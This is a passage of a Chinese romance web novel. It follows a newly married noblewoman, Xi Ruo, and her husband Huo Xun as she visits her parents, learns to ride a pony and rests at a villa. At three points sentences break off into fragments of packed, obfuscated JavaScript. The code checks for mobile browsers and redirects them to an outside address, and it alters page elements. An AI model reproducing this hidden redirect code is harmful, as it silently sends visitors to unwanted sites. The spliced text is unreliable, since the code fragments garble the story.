息夫人也觉得这小大夫奇怪,与息偌称奇了几句,话题仍又转回到她身上来。 外人看着是一回事,日子都是如人饮水、冷暖自知。息夫人知道息偌与霍恂成婚本就是有着家中的盘算的,心中也为此觉得对不住她,所以格外关注她的心情。 这次回来,她看息偌的面色倒是很不错,眼角眉梢都是喜笑,倒是不见什么悲苦之色,心底就放下了一半。 此刻无人,她又拉着她的手问道:“你过去这两日,侯爷对你可好吗?” 息偌点头道:“不是说过了吗?一切都好。府上的侍从和管事都伶俐懂分寸,没有什么照顾不周、也没有什么让人不适的。吃食上也都精细,很合我的口味,我这几日都比平时多吃了好多呢。” 息夫人拍了她一下,道:“谁问这些事了?我是问你,私下里他对你可还好吗?” 息偌道:“好呀。他家的这些侍从,都是跟着他父母过来的,疼他疼得像眼珠子似的,若不是见他待我态度好,岂能对我这般周到细心吗?” 寻常的这些事,方才那些女眷在的时候,问过一些,比起其他人家,只有过之而无不及,哪里有什么不好的?息夫人也是满意的。 只是她就担心,眼下这几日好办,日子长了还不知如何。 但那也都是后话了。 息偌看出母亲对自己的担忧,安慰道:“阿娘一切放心,我带了这么多人去呢,怎么会受委屈?即便是给脸色翻冷眼,那也是他受着我的,哪有我受他气的份儿呢?” 息夫人还能不知道自家女儿的德性吗?在家惯坏了,吃软怕硬,就是个小窝里横,出去对着外人怎么会是个爱生事的。 她分明不信,奇道:“你还敢给他脸色看吗?” 息偌骄傲地挑一挑眉,道:“阿娘不知道,我一去就与他发脾气了,他还跟我赔罪呢,说要好好给我看诚心。你瞧今日过来,他对我还仔细吗?” 息夫人还记得今日这对小夫妻进来,霍恂对她的确是体贴周到,扶着她下马车,又牵着手走进前厅来,见过诸位长辈时都随着息偌来,半分也没有侯爵架子,甚至落座的时候,息偌都是没看他先坐的,他也是一点不快没有。 这年轻人的脾气她是认可的,前几番过来时,她就觉得他算稳重温和,婚礼那日他举动也算体贴合宜,今日依旧如此,不见何处有缺漏,可见这样的性子是刻在骨子里的,不是刻意朝他们卖弄。 息夫人问道:“你挑的他什么错?还与他发起脾气来?” 息偌想起自己前些时候心里的那些弯弯绕,突然又觉得这样的小心思不大适合与母亲讲,讲了反倒害臊得很,于是遮遮掩掩地想要将这话带过去,只道:“没什么,都是些小事,我寻机闹呢……” 息夫人看见她通红的脸色,一下子却又想到其他地方了。 年轻人,新婚时,纵然有些冲动上劲也是难免的。她立刻便严肃道:“若是为了晚上的那档子事,你不喜欢,他却非要硬来,你发脾气也没什么,千万为自己身体好才是。” 她家女儿养在身边,总觉得还是个孩子似的,如今成了婚,也要像个大人一般做起这些事了,她想着便觉得不痛快,还是要紧着自己女儿的感受来才行。 对面是侯爷是王爷是皇帝也不行。 息偌脸更红了,连忙道:“母亲说什么呢?不是那事儿!” 息夫人哼道:“你们夫妻间的事儿,不乐得与父母说也正常,我就是提醒你,千万不要自己受委屈。” 息偌随口含糊应道:“知道了,没委屈,有不好的我肯定不要的。” 其实根本就什么也没发生。 但她想了想,这些话终究也不能对家人说的。 不圆房,就好像这场婚礼还没走完一样,就好像这件事一直没有落定一样。两家是希望有稳定姻亲维系关系的,他们这边却停在一半不上不下的,说出来徒然让人多想。 但他们真没什么对这桩婚事的不满呀。 息偌自己到目前来说,对这个婚事还是没觉得有什么不好的,至于霍恂那边,她虽然不了解他是个什么心思,可是从平时的相处来说,她觉得他应该也是不讨厌的。 他们是认真过的,那么就这一件事没成,应该也无所谓的。 不说也无所谓。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699409|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她含糊地带了过去,息夫人以为她是害羞,所以也没有拉着她多说这些事,又转到了其他话上,与她一起闲话。 这日他们是一起在息家用的午饭,霍恂知道息偌舍不得父母,所以饭后也没提出要走。先说自己要去歇会儿觉,让息家人给他安排了一处空房歇了歇,醒了后又说要去看看息家的书楼,在里面待了许久,一下又晃到了晚饭的时候。 等晚饭时,息檀夫妇也不好意思再多留女儿了,息偌自己也知道是到了该走的时候,虽然明白随时都能回来,但还是有些低落。 霍恂眼中瞧见了,直接开口道:“四娘孩子心性,还是依赖父母的,若二位不嫌,今晚让四娘留在府中罢。” 息偌有些诧异地看着他。 这下息檀夫妇倒是迟疑了,他们心中巴不得能将女儿一直留着,只是新婚才三日,就让他们夫妻分开、让女儿在娘家过夜,这看着像什么样子。 息夫人当先道:“曼曼已然成婚,若是将来想爹娘了,回来住一晚也不妨。眼下新婚,就回了娘家,让别人看着总是不好。即便家里没什么,让风言风语一传,也像有什么似的。” 眼下正是要稳固关系的时候,传出这样的风言不是好事,息偌心里明白,也没真打算留在息家过夜。 霍恂却道:“既是风言,便无需在意。四娘既与父母有体己话要说,咱们没有难处,何必非要回去不可?只是要请二位也让我一回,趁这几日得闲,还想带她出去转一转。故而明日一早,我就得来接她回去了。” 息夫人一听便笑了,道:“既然是要出去玩儿的,少不得还得准备准备,哪能匆匆就从家走?还是回去罢,来日还有的是见面的时候。” 如此推拒了一番,息偌终究还是跟着霍恂一道出了息府的大门。 坐在车上时,她有些不满地看着霍恂道:“我怎么觉得是被你们卖了?你巴不得我不回去,他们巴不得我别留下。” 霍恂是先扶了她上车的,此刻自己才进车厢坐定,头还没抬起来,便听到这么一句指控,直接就笑了出来。 “夫人这话有没有良心?空口白舌地颠倒黑白?” 息偌当然知道自己是故意胡说、把罪名都盖到霍恂头上的,但既然撒了这个泼,她也就没收敛。 “当然是怪你。也不知你在外头是怎么诓骗我阿爹的,我阿娘让我走,他都没替我辩白几句,还反而向着你说话。” 霍恂哼笑一声,道:“成,以后再陪你回来,我就将嘴一缝,将手一捆,让你的人在旁边盯着,保管我说不出一句话来才行。” 息偌道:“谁知道你是不是故意做苦肉计?” 霍恂反问道:“这也不行,那也不行,下回我就走你后头,你让我做什么我才做什么……这样也不成?” 息偌无理取闹够了,十分开心地笑了出来,然后才问他道:“明天要去哪里玩儿?你怎么都没和我说过?去荔溪坪看我的小马吗?” 霍恂应了一声,问道:“想去吗?” 息偌其实馋自己的小马很久了,一直心心念念着要去,哪里有不想。只是这次提得好突然,简直让她猝不及防。 “我还以为要再等等。是你婚假时间不够长吗?” 时间倒是够长,而且别院何时都能去,本来是不急的。但是—— 霍恂沉下脸色,咬牙道:“那死丫头赖在家里了,我不想见她。” 32. 骑马 息偌不知道小茹是怎么在她不知道的时候惹毛了霍恂,但是鉴于之前的经历,她压根没打算多问。 总之这晚回去,她根本就没见到小茹一回,第二天一早就清清爽爽地跟霍恂坐上马车往城郊去了。 其实如今的天气已经渐渐温暖起来了,息偌在家时,已经不用穿太厚的外衣了,但是山里到底还是寒冷,再加上霍恂体质特殊,所以马车上始终布置得格外温暖。 自打之前出去过一次,等婚后再坐车时,车里的布置分明就改了许多,以前虽优渥厚暖,到底能看出是个郎君的车厢,但如今一看就是有女子在其上的。 息偌坐着舒服,非常满意。 她上车时,还是兴高采烈,抓着霍恂问她那匹小马的情况,说起从前自己因为不会打马球而受过的闷气,还有自己以前学骑马时的尴尬模样。 霍恂全都听着,还与她搭话,倒是不无聊。他见她兴致不低,坐都坐不老实,就伸手将旁边的刺绣软枕取过来靠在车壁边拍了拍,道:“坐久了腰酸,过来靠靠。” 车就那么大,息偌若是靠过去,难免就要离霍恂更近些。只是他们既然都坐了几回了,息偌也就不犯这个矫情了,舒舒服服地靠了过去。 她把脚也舒舒服服地搭起来,霍恂倾过身子伸手,要去碰她的鞋子。 息偌缩了一下,问道:“做什么?” 霍恂回头看她道:“躺都躺下了,脱了鞋舒服些。” 他想了想,将旁边的薄毯给她扯过来摊开,正盖在她腿上。息偌于是两脚在毯下一蹬,将鞋子脱掉,然后缩在毯子底下靠好。 的确是舒服多了。 她继续和霍恂说话,只是这车马摇晃,又太过温暖,再加上她睡时兴奋、起得又早,很快就上下眼皮打起架来。 霍恂看着她说话的劲头弱下来,立刻就明白她是困了。 他将毯子向上提了提,道:“困了就睡会儿,养养神,路上还久呢。” 息偌反应过来了,皱着脸看他道:“你故意的是不是?你嫌我吵,故意让我躺下来赶紧犯困睡觉,你就清静了。” 霍恂笑道:“故意的。反正你也是要睡觉的,还不如早点睡,多睡会儿,是不是?” 息偌哼了一声,想着反正也确实如此,自己也的确困了,干脆将手帕往脸上一搭,闭上了眼睛。 他的手又伸了过来。 他手指拎起她手帕的边缘,向内轻轻一折,将她下半张脸都露出来,更方便她呼吸,而眼前因为又重叠了两层,所以透的光也弱了下来。 她的手帕和他的袖口一齐蹭过她的脸,带着两种并不相同的清浅熏香拂过她鼻端。 而他动作很快,折好手帕后就撤开了去,只是那股香气似乎还一直和她的手帕纠缠在一起,萦绕着将她送入梦乡。 息偌迷迷糊糊地睡了好久,朦胧间感觉到马车停了下来,霍恂在一旁拍了拍她的肩,轻声唤她道:“醒醒神,咱们到了。” 她下意识将脸往旁边蹭了一下,缓了一阵儿才突然睁开眼,将自己脸上的手帕扯下来,才发现自己不知道什么时候彻底蹭到他身边去了。 她刚才蹭的也不是软枕,是他落在旁边的柔软氅衣。 她立刻将身子向后退了半寸,然后忙不迭坐了起来,脚向前踢了一步,觉得空荡荡的,才想起来自己没穿鞋子,又赶紧缩回裙摆里。 霍恂没半点不自在,将她的鞋子提过来放在她裙边。 息偌勾进裙摆底下穿好了,而后又去拿自己的外袍披风,一面又手忙脚乱地抱怨他道:“你怎么也不早些叫我?” 霍恂理所当然道:“没看路,我也睡着了。” 他直面她怨怼的眼神,笑道:“急什么?慢慢穿。又没有谁在后头追你。” 息偌瞪他一下,他根本就不懂她为什么生气。 她穿好了,又再一次将他丢到后头,自己先下了车,往别院里走了。 她故意不等他,脚下飞快,只为难了在门口等候迎接的管事。管事为难地往马车的方向看了一眼,正看见霍恂从里头出来,对着他摆了摆手,示意他去追息偌。 管事于是对霍恂一礼,转过身去赶上息偌。息偌对别的都没兴趣,就只对自己的小马感兴趣,让管事直接带她去看马。 这别院后头有马厩,还有个不算大的小马场,想要纵马飞奔不太畅快,但是给息偌这么一个初学者学习练手是足够了。 息偌兴冲冲地过去,看见侍从从马圈里给她牵出来的那一匹小马,毛色红棕,眉心一撮白毛,瞧着神气极了,看见息偌伸手,还主动靠过来,十分亲人。 霍恂跟在她后头过来,看见她神色,就知道她喜欢,开口问她道:“怎么样?要不要试一试?” 息偌立刻点头。 霍恂从她手里将小马的缰绳牵过来,朝着一旁的房间示意了一下,道:“去换身便利的骑装再来?” 息偌不会骑马,但是为了凑热闹,却给自己做了几身很是漂亮的骑装,这次也让小盼特地给自己带上了。她没犹豫,赶紧让小盼去取,然后飞快换了骑装和发髻回来。 她放眼一望,场中另有一匹黑马正在围着栏杆奔驰,骑在马上的那人不是霍恂又是谁? 他似乎只是为了松一松筋骨,连衣裳都没换,单手执缰坐在马上,纵马的速度都并算不上快,只是简单地活动一番。见到息偌出来,他立刻就收了速度过来,下马将缰绳递给仆从。 老实说,他这身衣裳虽然繁复,但是在马上的动作却并不累赘,依然十分干净利落,而且显得十分好看。 息偌暗自欣赏了一番,还没过瘾,他就下了马,让她有点没有看够。 她直接发问道:“你怎么不继续了?” 这个场地并不算很大,真要跑起来也不畅快。霍恂本来也就没打算痛快地跑马,不过是一时心痒而已,此刻听问,几乎就明白了她的心思。 他笑着道:“夫人好毒的心啊,我现在这样,你还让我跑马?” 息偌这才想起来,他身上还是有伤在的。 她嘴上说着“抱歉抱歉”,下一刻又担忧起来,问道:“那你今天还能教我骑马吗?还是你要将我托付给别人?” 骑马算什么大事?也能用上托付这样的词吗? 霍恂道:“叫别人来,恐怕你连马也不敢上。” 马场原先没有上马石,因为他母亲骑术很好,连带着他幼时也练得不错,用不上这种东西。但是上次息偌说了以后,就让人添上了。 他引着息偌往上马石去,扶着她上去。只是小马横在前面,息偌伸手扶着马鞍,一脚踩在马镫上,还是犹犹豫豫地踩上又撤回。 霍恂一只手替她扶着马,一只手扶着她,都能感觉到她犹豫的过程中身体都在抖。 他想到她害怕,没想到这么怕,几番之后便笑道:“要不今天先算了?” 息偌瞪他道:“知难而退可不是好品格!我今年非要学会骑马,我想打马球!” 那些娘子们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15711878|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着靓丽的骑装在马上驰骋,衣摆飞扬手杖挥舞的样子,真的飒爽极了好吗! 她绝不允许自己没有这样好看的时刻! 霍恂想了想,松开牵马的手,抬头看着她道:“那夫人先吃点小亏成吗?” 息偌不明所以,问道:“什么小亏?” 霍恂没答话,手从她手臂移到她腰间,两只手箍着她一个用力,将她直接抱了起来。 息偌吓了一跳,下一刻已经侧坐在了马上。小马脚下动了动,使得马背上微微颠簸了一下,息偌因此吓了一跳,屈身扶住了马鞍,可是另一只手却还抓着霍恂没松手。 她太过紧张,手指用力,掐得霍恂生疼。霍恂动了动手臂,道:“夫人,抓疼我了。” 息偌手下松了松力气,但是没有放开,道:“你吓死我了!” 霍恂道:“别怕别怕,这不是上马了吗?慢慢坐直身体。” 息偌紧着脸道:“它在动呀!” 霍恂道:“现在不动了。你太紧张了,它也会紧张的,你放松坐好就没事了。” 息偌听话了,慢慢坐直身体,然后抓着他和马鞍把腿抬了过去,正面坐好,只是还是紧张,张嘴便要喊他。 “我找不见马镫。” “低头瞧瞧?” “我不敢低头!” 她甚少在他面前露出这么娇气的一面,眼下是害怕紧张了,也不顾着在他面前端架子守形象了,想要什么都问他要。 霍恂是真做好准备要教她了,一点儿不耐烦都没有,她要什么就给她什么。眼下她说不敢低头,他就干脆伸出手,扶住她的脚腕,带着她踩好马镫,又要往另一边去。 息偌拽着他不撒手,最后实在无奈,嘴里让他快点过来扶着自己,手里只松开了很短暂的一下,立刻就伸出另一边手要抓他。 霍恂飞快移到另一边,身体还没完全过来,手已经伸到了她旁边。他让她抓住自己的手,帮她踩好另一边的马镫,这才抬头问道:“怎么样?坐好了吗?还有哪里不舒服?” 息偌感受了一下,道:“没不舒服,但我不敢动。” 霍恂晃了晃他们相握的手,问道:“你扶着马鞍,我带你走一走?” 息偌点了头,于是他将她的手放稳在马鞍前,拍了拍她手背算作鼓励和安慰,然后才走到前面,从侍从手里接过缰绳牵在手里,带着她用很慢的速度走进场中。 她还是紧张,手指将马鞍攥得紧紧的,指尖都用力到发白。她在马背上叫他的名字,声音颤颤地和他道:“骑马真的很颠呀。所有人初学骑马的时候肯定都和我一样紧张对罢!” 其实还真不是。 当初他父亲带着他上马出去飞奔一圈,他一点也不害怕,回来以后还拍着手叫好呢。 但是这话总不能跟她说,若是说出口,未免也太容易打消一个初学者的积极性了。 于是他应道:“嗯,差不多。” 而息偌真信了,嘟囔道:“你和我差不多啊……” 那这个世界上刚学骑马时这么狼狈的人就有两个了,真是太好了! 她嘴上那么说,心里可是清楚,像她这样的初学者也是十里难挑其一的。 但是有人陪就不会那么尴尬了。 霍恂一听她嘟囔就知道她心里又想到什么了,轻嗤了一声没有说破,大约她心里还要拿着他再和旁人比一比,但是他在她心里弱些也没什么。 他生病嘛,他自小体弱,他不会骑马也正常的。 33. 陪伴 霍恂为息偌挑选的这匹小马性情很好,虽然背上无人时活泼了些,但却极通人性,感觉到背上的主人紧张,步伐就走得很是沉稳。 息偌初时还有些恐惧,但是霍恂一直走在她身侧与她说话,再加之小马走得也稳重,她很快就放松下来,身体不再如方才一般紧绷,手里也不再攥紧马鞍,甚至敢偶尔松开双手了。 但霍恂始终没松手。 他带着她走了快两大圈,息偌终于胆子大了些,反应过来霍恂居然已经纡尊降贵为她当了许久的马夫了,理智回笼,有些羞赧。 “我不害怕了,要不你松开罢?我试试自己来。” 霍恂没觉得她可以自己来,瞧她这样子,离能够自己来还差了十万八千里呢。 他停下脚步,将缰绳送到她手中,道:“夹住马肚子,它就会向前走,如果想要它停下,就将缰绳收紧,记住了吗?” 这点息偌从前也听过,于是道:“记住了,你叫个人在旁边跟着我。” 她不大好意思让他再继续跟着她一起走了。 霍恂应声,退开一步,放她自己尝试。息偌将绳子松了松,试探着夹了下马腹,小马果然向前慢慢走去。只是随着她一并向前去的,还有一个霍恂。 马的速度并不算快,他的步子又大,跟在旁边并不算吃力,始终与她保持并肩的位置。 他看她的姿势还好,并不像是怎样都学不会骑马的样子,从前大约也只是一直无法克服恐惧而已,于是在旁边鼓励她道:“怎么样?并不太难罢?” 息偌确实感觉,即便是自己攥着缰绳,似乎也并不非常困难,所以有些兴奋地对他点了点头。 她胆量大了,手里就放松了些,小马没有感觉到缰绳的限制,脚下开始蠢蠢欲动,慢慢地放快了速度。 息偌初时觉得尚可接受,也没在意,只是小马的速度越来越快,渐渐的,霍恂也被它甩到了后面。而它的速度依旧未减,慢慢地加快到了息偌有些控制不住的程度上。 她又开始害怕,但不敢回头,也不敢松手,只能高声喊“霍恂”。 霍恂的声音从她背后传来,声线分明是扬高了,喊道:“缰绳收紧!” 息偌听着他的声音,总觉得他离她是有些距离的,即便真想等他来救,恐怕他一时半会儿也追不上。于是她强压着心里的慌乱,立刻将缰绳往手中去收。 缰绳收直的时候,牵到了小马的头,它微微一动,吓了息偌一跳,但却不敢松手。只是这小马却并没有如何颠簸,很快就放缓了速度。 息偌知道收绳勒马的事,手里还是头一回尝试,见当真有用,便立刻继续,竟当真使得小马停了下来。 她第一次成功驭马,这下害怕只剩下了一丝残余,反而是兴奋更多了。她坐在直立的小马背上回头,看见霍恂大步朝她跑来,高兴地高声道:“你看见了吗?它停下了!” 霍恂来到了她面前,笑应道:“看见了,你做得很好。” 他仔细瞧了瞧她的脸,不见有什么害怕,便问道:“要不要继续走一走?就顺着栏杆走,我骑马跟着你。只要你觉得它速度快了,就立刻收紧缰绳,好不好?” 息偌兴意上头,立刻点头。 霍恂于是回过头,对着那边牵马的侍从招了招手,然后将手指放在唇边吹了个口哨。他方才骑的那匹黑马立刻就从侍从手里走脱,向他的所在飞奔而来。 他利落地上马,走在她的身侧,与她一并向前行去,又教她如何通过牵引缰绳来改换方向。 息偌眼下是刚刚学会,速度并不平稳,一会儿快一会儿慢,一会儿还要故意停一下。霍恂全程都随着她的速度来,与她说着话一起走。 如此走了好几圈,甚至中间有一小段,息偌敢放小马小跑了一阵。虽然很快就拉住了,但也算是一个大进步了。 她开开心心走了许久,到底这地方不大,熟练以后就没有最初的那么多新鲜劲儿了。一平淡下来,她的注意力也有空从精神上转回到身体上,于是终于感觉到有些身体酸痛。 霍恂看见她暗自舒展身体的动作,于是主动开口道:“要不要先去用午饭?等下午想玩儿了,还能再来玩儿。” 息偌立刻点头了。 他们一起回到马圈前,霍恂先下了马,看息偌在下马石旁边犹犹豫豫,又过去扶着她半拖半拽地下了马。 息偌这下才感觉到自己浑身都酸痛,腿甚至有些僵了。她放肆地展了展腰背,问一旁的小盼道:“是什么时候了?” 小盼在旁边答道:“都未初三刻了,娘子今日练得久。” 难怪她肚子饿了呢! 息偌立刻回头看向霍恂,问道:“你怎么也不提醒我快些下来去吃饭?我现在身上也酸,肚子也饿,都怨你。” 她这几天责怪他的频率有些过分高了。都是因为他从来不反驳,所以她说得越来越顺口。 霍恂道:“你那会儿正在兴头上,叫你下来你也是不舍得的,玩儿够了再去吃,还能真让你饿着不成?” 息偌道:“你是一点都不懂得劳逸结合。凡事适度,就常有下回,一次就尽兴了,下回就没意思了。” 霍恂问道:“那你下午还想骑吗?” 嗯……那当然还是想的。 息偌正要辩驳,霍恂又道:“受教了,下次一定注意。” 他们一并回到住处,息偌嫌弃自己一身的泥土气,要先进去换身衣服洗洗手再出来。霍恂也是要换的,但这边住处不如侯府里大,他也就干脆没折腾,在屏风外头换了件外衣就坐了下来。 息偌也是饿了,换衣的动作极快,不多时就与他一起坐到了桌边。霍恂特地让厨房准备了些硬菜,份量也略多备了些,生怕她不足够。 吃着吃着,息偌也意识到这顿吃的有些多了,犹犹豫豫看着盘子里的菜,筷子却没有想放下来的意思。 霍恂喝着药膳,回头瞥她一眼,道:“放心吃,这一顿哪里胖得起来?骑会儿马都耗没了。” 这话听得息偌非常满意,遂继续用完。 仆从们进来将空盘碗筷撤下,息偌浑身都疼,也懒得出去消食,最多也就是强撑着在屋子里来回走几步。 霍恂看着她在自己面前来回晃悠,同她道:“借你此处一用,我让雁行过来替我换个药?你若不便,在屏风后稍等一会儿就好。” 别院不如侯府大,他们出来这一趟,也不可能将侯府的仆从都带来。是以这边住处院子外头,也有不少别院的仆从。 他们若是特地分开,其实难免不便。更何况,他这伤本身也不好让太多人知道。 息偌非常理解,道:“让他来罢,我没什么不便的。” 有些人家的娘子是很避讳护卫的,但她自幼就有息忍一直护卫于她,对此并不全然抗拒。况且此刻青天白日,房中又不止她一个独在,没有什么不便 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雁行手下飞快地给霍恂换好了药,然后收拾好东西退了出去。息偌听见了他离去的脚步声,又从屏风后转身出来。 霍恂正坐在那处穿衣,息偌走过去,主动帮他提了提外衣的衣角。他愣了一下,抬头看息偌,顺从地抬手穿好了,挑眉笑道:“夫人今日怎么这样疼我了?” 息偌替他将衣襟拉正,垂眼恹恹道:“你还是别陪着我学骑马了,这事儿晚些也不妨。你这伤一直好不了,天天这样裂算怎么回事儿?” 霍恂今日是真没打算使这个苦肉计,他都带着她出来了,还能想不到这些事儿吗?都是愿意罢了。 他道:“我体质的原因,伤口好得比别人慢些,也不是因为骑了马才裂的。” 息偌没被他哄住,道:“还是算了。我若真想去,让其他人跟着就行,息忍陪着我也行,你就不要上马了。” 霍恂问道:“我不是要表达诚心吗?将你推给旁人,岂不算我失约吗?” 息偌道:“这件事我同意了,不算你失约。” 霍恂点头答应,问她道:“要不要进去歇歇?我让茯苓过来。她正经学过推拿,让她给你按一按,免得你等下身上更是酸痛。” 息偌没有为难自己的打算,同意了这个建议,又想起了一件事,问他道:“给你换药的事儿,叫茯苓与豆蔻来岂不是更方便吗?怎么你倒让雁行做这样的活儿?” 没有小厮,也有侍女,怎么倒让他一个护卫成天跟在他后面,一个人打几份工。 有些贵胄郎君,房中极亲密的近身事也打发给侍女做,大多最后就都收成通房了。霍恂少年时就不爱让侍女近身,长大后更是没有这种事上的打算,就从来没有这些。 再加上他父亲日常起居从来干净利落,不需太多侍奉,他耳濡目染,又生性喜静,也喜欢近前少人。 霍恂道:“他和我一般大的年纪,本是打算收作小厮用的,但是我父亲身边的人都会武,他来时有样学样,也跟着大人们打拳。长辈们看他根骨不错,有点天赋,就又教他武艺,他倒学得很是不错。所以眼下什么活儿都由着他来做。” 他与她笑说道:“你可别说他事多,他的月钱可也比旁人多得多。若是我说要再多给些,他还可以再能干些。” 他看着息偌的眼睛,半真半假道:“有夫人在了,我身边要那么多人做什么?” 34. 莫名 他长得好看,息偌一直都清楚。 因为好看,所以在说某些好听话的时候,配上一道含情脉脉的悠悠目光,就显得格外动人。再硬心肠的女子看见这般情形,心里都得软上三分。 所以息偌在发现自己这几日时常会莫名其妙地砰砰心跳的时候,一概归结于是他长了一张会骗人的面孔。 他是她的丈夫了,她总是要慢慢习惯这件事的。 她嗤他道:“油嘴滑舌,我还能管你用几个侍女吗?” 霍恂但笑,余光里见到茯苓进来了,便让她替息偌按一按。息偌正好借着这个关口避开他,转到里间去脱了外衣躺在床榻上。 她是浑身都痛,茯苓问她时,她就一手指头一手指脚,然后又合到了一处去。 茯苓不免被她逗笑了,拿了个软枕给她,让她趴了下来,然后替她自双肩开始,依次揉了精油按摩起来。 房间里本就温暖,小盼又特地燃了安神解乏的熏香,再加上厚重的床帐一拢,光线也变得昏昏暗暗。息偌觉得舒服,渐渐就睡了过去。 茯苓换了个合适的力度,替她将浑身按完,不好趁她睡着时穿衣,便将被子拉过来替她盖好,然后退了出来。 她出来时,霍恂就和衣躺在外头的那张小榻上,只虚虚盖了一个薄毯,抬着手放在额头上,用袖口遮着脸小憩休息。 听到轻微的帘幕声响,他放下手臂,眨一眨眼便褪去了初醒的迷蒙,悄声问道:“她睡着了?” 茯苓走近回道:“睡着了。我替娘子都按过了,但她大约还要不适两天,我去问问关大夫,要个舒缓的药方,晚上再替她准备沐浴?” 霍恂点头,道:“你去准备罢。” 茯苓应了,又问道:“我去给侯爷再准备个炭盆吗?” 霍恂觉得温度尚好,说了不用,让她先撤出去了。 茯苓见他没起身,走过去将窗户上的帘子拉了起来,然后便轻轻退了出去。 霍恂身体不适,眼下刚换了药,正是想要休息缓痛的时候,便直接再次闭上了眼睛。这一觉无梦无醒,等再睁眼的时候,已然过了许久。 他起身,看床榻那边的帐幕里身影朦胧,息偌分明还在熟睡,便披衣去了外间,问守在外头的侍女们道:“什么时候了?” 三个侍女都在外头坐着说小话,见他醒了,声音却低,便也放轻了声音道:“刚过申初。” 那就是睡了半个时辰,难得竟这样安稳。 霍恂点点头,复又走进去,立在屏风一侧犹豫了片刻,便走了进去,将床帐拉开一边,然后侧身坐在了榻边。 息偌整个人都拢在被子里,只露出了半张脸在外头。霍恂垂眼看了许久,这才伸出手,对着这一团隆起的被子拍了拍,轻声唤她道:“曼曼,该醒了。” 她在被子里动了动,又往被子里缩进去了一些。 霍恂知道她醒了,便继续道:“中午别睡太久,晚上该睡不着了。” 息偌闭着眼睛缩在被子里,囔囔道:“我不想起来,我全身都好疼,我不要骑马了。” 霍恂闻言笑了,应声道:“成,不骑马了,但是要起来。想不想吃红豆冰?我让她们给你端一份来。” 冬末春初吃冰,好罕见的一句话。 但是息偌整个人缩在温暖的被子里,一想到那种清清凉凉的感觉,瞬间就心动了。 她睁开眼睛,露出脸看着霍恂,问道:“现在?红豆冰?” 霍恂点头确认道:“现在,红豆冰。” 息偌来劲了,立刻点头道:“要。” 她当即就要撑着床榻起身,起了一半,忽然觉得身上一阵冷风,下意识抬手就去拉被子。结果这么一低头,她突然看见自己的手臂露在外头。 她突然想起来,为了让茯苓按摩方便,她里头就只穿了一件小衣,此刻坐起来,被子滑下去…… 她立刻重新躺下了。 “你先出去!” 霍恂也没想到这一出意外,面上微微一怔,有些尴尬地转过脸去轻咳两声,站起身道:“我让侍女进来。”言罢便快步走了出去。 息偌不会因为这件事责备茯苓什么,毕竟茯苓是来为她按摩的,她先睡过去也是事实,她不是什么苛待下人的人。 可是这件事到底尴尬得很,因为这个插曲,她下午一整日都没出过里间。 她原本是打算下午再去马场练上一会儿,可惜身上实在不舒服,再加上不想看见霍恂,干脆就在床榻上靠着,无所事事地歇过了一个下午。 但是晚上也是要吃饭的。 她这几日都是和霍恂一起吃饭的,仆从摆饭自然是将二位主人的放在一起,他们也没有因为这样的小事让分开来摆,所以晚饭还是在同一张桌子上。 息偌自己挣扎了一下,又不想跟自己过不去,所以还是走出去坐到了桌前。 霍恂就坐在她对面。 其实今日下午他们谁都没有出房间,息偌坐在里间和几个侍女一起玩儿,霍恂就坐在外头安安静静地看书。息偌初时还在想他怎么留在这里没有离开,后来见他安静待在外面没有入内,也就没有理会他。 直到此刻,息偌对面而坐,微觉尴尬。但霍恂倒是神色自如,仍旧和往常一样,替她盛汤摆盘,细心周到。 息偌将头都快埋到盘子里,没有和对面进行一回交谈,中间只霍恂给她递汤碗时同她说过一句,她也没有多作言语上的回应,只是伸手接过而已。 他是敏锐之人,察觉到她的回避,再也没有说过什么。 饭后,仆从们撤了盘子,息偌立刻走到一旁去擦嘴喝茶。再回过头时,霍恂已经叫人将他的外袍拿来,说着要出去散散步,然后就迈出了房门。 他走了,息偌心里立刻轻松了一下,但也只有片刻而已。她看着外头渐暗的天色,想,霍恂那伤都没好,今天上午还那么辛苦,这会儿出去散什么步? 再过上一会儿,他不还要换药的吗? 息偌心里如此想着,但嘴上却没说什么,在房间里安静踱了会儿步,茯苓进来问她,说准备了药浴,可以帮她缓解酸痛,要不要现在就去试试? 她是不知道息偌与霍恂下午那回事的,息偌也没有与她说过什么,此刻见到茯苓,她心里虽有些尴尬,但好的是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736720|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有她一个纠结而已。 息偌点点头,故作不经意地问道:“侯爷什么时候回来?我这会儿去浴室,一时半会儿出不来,恐怕有不便。” 茯苓便道:“侯爷方才让我们将旁边那间暖阁收拾出来,说是他等会儿回来换药浴洗方便,娘子勿虑。” 息偌微微一怔,往那边瞧了一眼,想今日自己避人,还没去看过这房间的布局,便先迈步过去瞧了一眼。 